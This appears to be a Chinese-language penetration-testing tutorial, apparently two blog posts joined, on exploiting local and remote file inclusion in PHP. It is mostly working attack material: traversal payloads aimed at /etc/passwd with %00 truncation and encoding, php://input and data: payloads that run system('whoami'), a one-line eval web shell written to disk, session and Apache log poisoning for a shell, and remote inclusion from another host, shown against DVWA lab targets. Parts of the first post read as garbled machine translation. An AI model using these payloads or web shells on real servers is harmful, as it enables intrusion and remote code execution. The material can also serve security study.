文件包含漏洞的出现及危害
文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序。当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行时执行的文件。如果一个文件包含这个漏洞,为了方便起见,经常在开发阶段就实施。由于它经常用于程序开发阶段,所以这就为后来的攻击埋下了伏笔并导致了各种基于文件的攻击。
文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。
文件包含漏洞分为本地文件包含(Loacl File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)。这种漏洞貌不惊人,却危害很大。通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解。若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制。另外不管是本地文件包含还是远程文件包含,文件包含漏洞还可能导致执行任意代码。
本地文件包含
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。
首先,当值可以直接被控制时,你就会有一个非常类似的如下的代码片段。
<? php $ file = $ _GET ['file']; include ($ file);
如果你可以找到上面的代码,那么就有一个直接包含的$文件,你可以控制它。
请注意:该文件可以是任何类型,无论它是被删除的文件类型、图片还是任意的内容,都包括在内。
首先,在当前文件夹中创建任意后缀的任意文件,如:file.txt(即使是像file.jpg这样的图片格式,则会产生以下效果)。
将文件的内容设置为:
<? php phpinfo ();
此时,文件包含漏洞还包含当前服务器中的其他文件,同时支持包含Web应用程序的目录,如下所示:
尝试包括你的硬盘的一些内容,例如:C:\WINDOWS\system.ini。
如果你这样做,就可以在浏览器上看到任何文件的输出内容。
这只有当你有完全控制和文件类型没有进一步指定时才有效。
那么,如果代码片段变成如下这样,你该怎么做?
<?php $file = $_GET['file'] . '.php'; echo $file; include($file);
在这种情况下,你可以尝试按照上面的方法:
这将导致以下的输出:
你可以看到,如果后缀是固定的,就像上图一样,你不会找到前面包含的文件。
搜索的文件名是:./Include.txt.php。
所以这里有另一种方法:%00到达时截断一个字符串。这个技巧也被广泛应用于不同的领域,我不会在这里再详述,如果想详细了解,请点此。
在PHP中使用%00:
1.PHP版本<5.3(不包括5.3);
2. PHP `magic_quotes_gpc = off`;
3.PHP不会在收到的参数中使用addslashes函数,例如上面代码中的$ _GET ['file'],不过在PHP版本5.3或更高版本中,此问题已得到解决。
如果打开gpc或者使用了加法器函数,序列将被正确地转义。
首先,你可以尝试如果gpc打开会发生什么(效果与使用该函数相同)。
如果你启用了gpc标志,你可以直接看到这个过程是如何发生的。
接下来可以看看5.3版本中的情况:
这里也没有明显的效果。
所以你可以看到,只要满足上述三个条件,就可以使用%00。
首先,你要将PHP版本更改为5.2,并在php.ini更改为 magic_quotes_gpc = on tomagic_quotes_gpc = off.后重新启动Apache。
这使你就能够在尝试时使用截断。
这时可以看到,你已经成功地使用了其中的截断。
那么文件只包含了包含的功能吗?当然不是,之所以会这样,是因为你可以控制可以包含的内容。
你可以创建一个文件:shell.txt来进一步利用这个漏洞。
你可以看到,其中也包括了shell。
那么两者有什么区别呢?其实没有什么区别,原理是一样的,但是第一个是用后缀来介绍的,第二个是固定在程序后缀后面的。但是可以使用%00,因为当程序流(program stream )遇到%00终止符(terminator)时它会直接终止。
远程文件包含
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。
本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。
对于远程文件,你需要考虑以下2点:
1.在php.ini中需要allow_url_include = on和allow_url_fopen= on
2.所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。
让我解释一下第二点,如果你的远程文件具有.php后缀,并且你的远程文件内容如下所示:
<? php phpinfo ();
那么在远程服务器执行phpinfo()之后,你就可以获得目标服务器的内容。由于它不会运行代码,所以包含的信息不是目标服务器,而是远程服务器。
如下所示:
这是我的PHP5.6版本的远程设备信息,目标设备是5.2版本。
接下来是包含文件:
你可以看到,包含文件后,你的远程设备发生了变化,这是为什么呢?
由于目标服务器不包含此代码:
<? php phpinfo ();?>
此时,远程服务器会执行此代码的源代码,如下所示:
所以为了使这个攻击开始运行,你需要做一些修改:
1.修改配置
2.修改文件后缀
此时,你可以再来尝试一下包含的攻击向量:
那么你可以看到所需的信息在此包含之后返回,并且你的目标设备信息不再改变。
接下来,你要再次为远程文件包含做一个shell示例。
远程文件包含使用的前提是,符合本地文件包含的前提并符合远程文件包含其可用性的前提。
文件包含许多伪协议
文件中可以包含不同的伪协议,我将在下面演示其中的一些:
1.data:text/plain or data: text/plain; base64 2.php://input 3.php://filter 4.file:// 5.zip://
其他协议可以在官方文档中找到。
data:text/plain
输出直接显示在相应的URL中,显示参数:data:text / plain。
然后你需要执行如下所示的php代码:
data:text/plain; BASE64
有另一种方法来使用data: text/plain; base64,不过此时你需要使用base64编码来执行PHP代码,base64php代码如下所示:
## php://input
php://input访问请求的原始数据的只读流(read-only stream),会将post请求中的数据作为php代码执行。
你可以看到程序自动添加了一个.php后缀,因此使用包括php://input,将自动添加.php,所以它肯定不能正常工作。
此时,你可以参考以上的%00技巧来截断文件路径。
你可以看到终止符(terminator)是非常强大的。
php://filter
php://filter可以读取php文件的代码base64编码的输出并将其返回给你。
例如,你想读取一个PHP文件,但不希望它是正常的PHP。你可以通过php://filter/read=convert.base64-encode/resource=
../ 读取文件代码的内容。
解码base64后,你可以像正常情况一样获取内容:
file://
file://用于访问本地文件系统,不受allow_url_fopen orallow_url_include的影响,你可以使用file:// absolute / path / to / file来获取。
zip://
zip://可以访问zip文件中的文件,但它需要一个绝对路径。你可以使用zip://[archive absolute path] # [compressed file name]在本地创建一个文件并将其压缩到一个zip压缩文件中。
此时,你就可以填入绝对路径和文件的名称了。那么,你可能会有两个疑问?
为什么你不能成功显示包括zip://的错误?
这其中就包含zip://C:/phpStudy/WWW/include/phpinfo.zip.php,这是因为你不想包含这个文件,而是想把这个文件包含在zip里。
为什么是#以后的值?
因为#会忽略它后面的参数,所以你需要在表单中使用%23。还有一点就是,包含的文件以.php结尾,但你压缩了php后缀的文件。
所以如下所示,你不需要这个后缀。
文件包含攻击初学者指南(LFI / RFI)
二潘关注
文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。
在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
来张图片压压惊
image.png
php中引起文件包含漏洞的4个函数:
include()、include_once()、require()、require_once()
区别如下:
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
image.png
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
image.png
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:
<?php
$file = $_GET['file'];
include $file;
?>
在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>
。则只需要访问
index.php?file=phpinfo.txt
即可成功解析phpinfo。
image.png
场景
具有相关的文件包含函数。
文件包含函数中存在动态变量,比如include $file;
。
攻击者能够控制该变量,比如 $file = $_GET['file'];
。
分类
文件包含分为:本地(LFI)/远程(RFI)包含
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
allow_url_fopen = On
allow_url_include = On,重启apache,即可生效
两个配置选项均需要为On,才能远程包含文件成功。
另外一台需要开启apache
apt-get install apache2
/etc/init.d/apache2 start
1.png
2.png
注:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include
从php5.2之后就默认为Off。
下面例子中测试代码均为:
<?php
$file = $_GET['file'];
include $file;
?>
allow_url_fopen 默认为 On
allow_url_include 默认为 Off
若有特殊要求,会在利用条件里指出。
PHP伪协议以及其他封装协议的利用
php://input
利用条件:
allow_url_include = On。
对allow_url_fopen不做要求。
<?phpinfo();?>
<?php system('whoami');?>
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['caidao']);?>")?>
包含姿势
index.php
?file=php://input
POST:
<? phpinfo();?>
image.png
命令执行
image.png
写入一句话木马,有写入的权限
image.png
image.png
php://filter
利用条件:无甚
姿势:
index2.php?file=php://filter/read=convert.base64-encode/resource=index.php
说说index2.php?file=php://filter/read=convert.base64-encode/resource=index.php的含义
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/
是一种访问本地文件的协议,/read=convert.base64-encode/
表示读取的方式是base64编码后,resource=index.php
表示目标文件为index.php。
举个例子:
1.png
>>> import base64 //base64模块
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==") //解密这串加密的字符串
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他姿势:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。
image.png
phar协议&&zip协议
利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测此方法使用要php版本大于等于php5.3.0
phar://
利用条件:
php版本大于等于php5.3.0
姿势:
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:
1.png
指定绝对路径
index2.php?file=phar://C:\phpStudy\WWW\FileInclusion\phpinfo.zip\phpinfo.txt
或者使用相对路径(这里phpinfo.zip就在当前目录下)
index2.php?file=phar://phpinfo.zip/phpinfo.txt
2.png
zip://
关于zip://
php版本大于等于php5.3.0
姿势:
构造zip包的方法同phar。
但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。
index2.php?file=zip://C:\phpStudy\WWW\FileInclusion\phpinfo.zip%23phpinfo.txt
3.png
注:
若是使用相对路径,则会包含失败。
data:URI schema
利用条件:
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
姿势
/index2.php?file=data:text/plain,<?php phpinfo();?>
4.png
执行命令:
index2.php?file=data:text/plain,<?php system("whoami");?>
5.png
姿势二:
/index2.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加号+
的url编码为%2b
,PD9waHAgcGhwaW5mbygpOz8+
的base64解码为:<?php phpinfo();?>
6.png
执行命令
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
的base64解码为:<?php system('whoami');?>
包含session
利用条件:session文件路径已知,且其中内容部分可控。
思路:结合phpmyadmin,因为phpmyadmin每次登录时,会带上session
image.png
session文件的绝对路径可在phpinfo中查看,session.save_path
image.png
常见的php-session存放位置还有这几个:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
使用以下命令可查看到session文件中的登录信息
strings /var/lib/php5/sess_258c1be1b00d080bddc58d2896460542facb6f1f | grep root
image.png
登录phpmyadmin时,用户名输入一句话木马,再包含session文件,可getshell
<?php @eval($_POST['root']); ?>
image.png
image.png
?????,需要解决,能写入一句话木马到session中,phpinfo也可以正常访问,但是菜刀就是连不上200ok;纠结,还在解决中
感谢,周大爷的细心指导,问题已经解决了。
解决方式:
在浏览器里有你的cookie所以你可以直接去访问对应的文件包含页面,用菜刀的话是没有cookie的所以你没有办法去访问文件包含页面也就是fi那个页面。所以说会自动跳转到登录页面,显示200ok
加上cookie之后在重新连接,成功连接
image.png
包含日志文件
当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。
利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。
这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell。其实整个“包含日志文件漏洞利用”最关键的就是找日志存放的“物理路径”,只要找到日志的物理存放路径,一切就可以按部就班的完成利用了。
利用的条件:
- 1、日志的物理存放路径
- 2、存在文件包含漏洞
获取日志存放路径
(一)日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
首先,我们直接使用浏览器来构造“php一句话报错请求信息”服务自动记录此一句话信息到服务器日志文件中;
具体构造内容:
http://127.0.0.1:81/FileInclusion/index2.php?file=<?php @eval($_POST[c]);?>
(2)测试结果:失败
利用文件包含漏洞直接访问“服务日志文件”,发现文件包含漏洞并未对构造的php一句话进行正常解析,观察发现是构造的PHP一句话中的相关字符在记录进日志文件后,相关的字符被转码了,导致PHP解析失败,具体失败原因见“失败原因分析”
image.png
(3)失败原因分析
一句话写入日志文件的利用过程是,利用浏览器直接构造一个关于请求资源的报错信息,消息中包含依据。报错信息服务自动记录到日志文件,但实际测试发现写入日志文件内的报错信息发生了字符转码:
日志文件内容如上图所示:
http://127.0.0.1:81/FileInclusion/index2.php?page=%3C?php%20@eval($_POST[c]);?%3E
"<" ----> 大于号被转码为了 %3C
">" ----> 小于号被转码为了 %3E
" " ----> 空格被转码为了 %20
最后写入到日志文件中的一句话就变成了 %3C?php%20@eval($_POST[c]);?%3E。
(4) 失败总结
浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。
(5)构造一句话,写入日志文件测试记录
burpsuit 代理抓包改包构造一句话写入日志文件
(1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。
image.png
(2) 测试记录:成功
通过文件包含直接访问服务日志文件,发现一句话被执行成功;
image.png
在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log,还可以包含Apache的错误访问日志
首先,构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中
http://127.0.0.1:81/FileInclusion/index2.php%3C?php%20@eval($_POST[c]);?%3E
这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。
image.png
对所截获的包进行修改,点击go,返回403报错,服务器错误日志文件成功将此次记录到error.log中
我们根据日志的路径构造访问路径:
http://127.0.0.1:81/FileInclusion/index2.php?file=C:/phpStudy/Apache/logs/access.log
客户端连接,获取一句话木马
SSH log
利用的条件:
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
姿势:
用ssh连接:
参考这个网站
包含临时文件
绕过姿势
本地文件包含的绕过
(1)%00 截断
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd%00(2)编码%2e%2e%2f
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
远程文件包含的绕过
(1)?号
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt?
(2)#号
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt%23
https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/https://vulhub.org/#/environments/php/inclusion/